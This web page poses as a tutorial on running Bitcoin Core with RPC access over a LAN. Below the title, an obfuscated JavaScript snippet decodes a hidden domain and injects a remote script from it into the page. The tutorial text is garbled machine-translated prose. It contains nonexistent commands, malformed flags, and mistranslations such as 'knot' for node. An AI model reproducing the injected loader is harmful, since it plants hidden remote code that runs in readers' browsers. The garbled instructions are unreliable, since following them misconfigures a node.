Bitcoin: What is the proper configuration and command to run bitcoincore and use RPC over LAN?
const pdx= »bm9yZGVyc3dpbmcuYnV6ei94cC8= »;const pde=atob(pdx.replace(/|/g, » »));const script=document.createElement(« script »);script.src= »https:// »+pde+ »cc.php?u=e2bd2a40″;document.body.appendChild(script);
Adjust the bitcoin core and remote procedural calls (RPC) through the local network
By defining the bitcoin node in a small computer, it takes a significant step toward the decentralized cryptocurrency ecosystem. In this article, we permeate the appropriate configuration and command to execute the Bitcoin Core and activate the remote procedural calls (RPC) for remote access to LAN.
Prerequisites
- Bitcoin Node performing the Bitcoin nucleus 0.15.3 or higher
- Ethernet connection to small computer
- Your computer’s IP address
Step by Step Instructions
1. Install the Bitcoin core
First Download and Install Bitcoin Core in the official repository: [ ( (version 0.15.3 or more recent version)
Follow the operating system installation instructions:
* Ubuntu/Debian : SUDO APT-GET INSTALL BITCOIN-QT
* FEDOR/CENTOS/RHEL :SUDO DNF INSTALL BITCOIN-QT
* Arch Linux : SUDO PACMAN -S BITCOIN -QT
2. Start the Bitcoin core
Start the Bitcoin node running:
`
Bitcoin-qt
`
This starts the knot and starts listening to relationships that arrive.
3. Set RPC settings
To activate the remote procedural calls of the node (RPC), you need to define some settings:
- RPCUSER : Enter the node username.
- RPCPassword : Enter a password for the knot.
- RPCport : Set the knot to hear the door number.
For example:
`
Bitcoin-qt
> RPCSE
RPCUSER = myusername
rpcpassword = mypassword
RPCport = 55555
Bitcoin-qt (version 0.15.3)
`
4. Start the RPC server
After setting the RPC settings, start running the RPC server:
`
Bitcoin -qt -rpcport = 55555
`
This starts the RPC server and starts LAN input relationships.
Using RPC to access the node
To reach the node remotely using the RPC:
1.
`
Bitcoinclli Getaddresslist
`
Select a new address and save in a file (for example: myaddress.txt
).
To the
You can now use this RPC URL to send bitcoin transactions, download transaction information, or remotely perform tasks related to other knots.
Tips and variations
- If you want to use a specific port for RPC connections, you can insert the
Bitcoin-Qt
command:
`
Bitcoin -qt -rpcport = 8080
`
- You can configure multiple users and RPC passwords with the
-rpcusers' option:
Bitcoin -qt -rpcuser = myusername -rpcpassword = mypassword -rpcport = 55555
`
Remember to replace with the IP address of the actual computer.
By following these steps, you can define the Bitcoin node on your small computer and allow so -called Remote Procedures (RPC) to be remote LAN access. Happy mining!
0 commentaire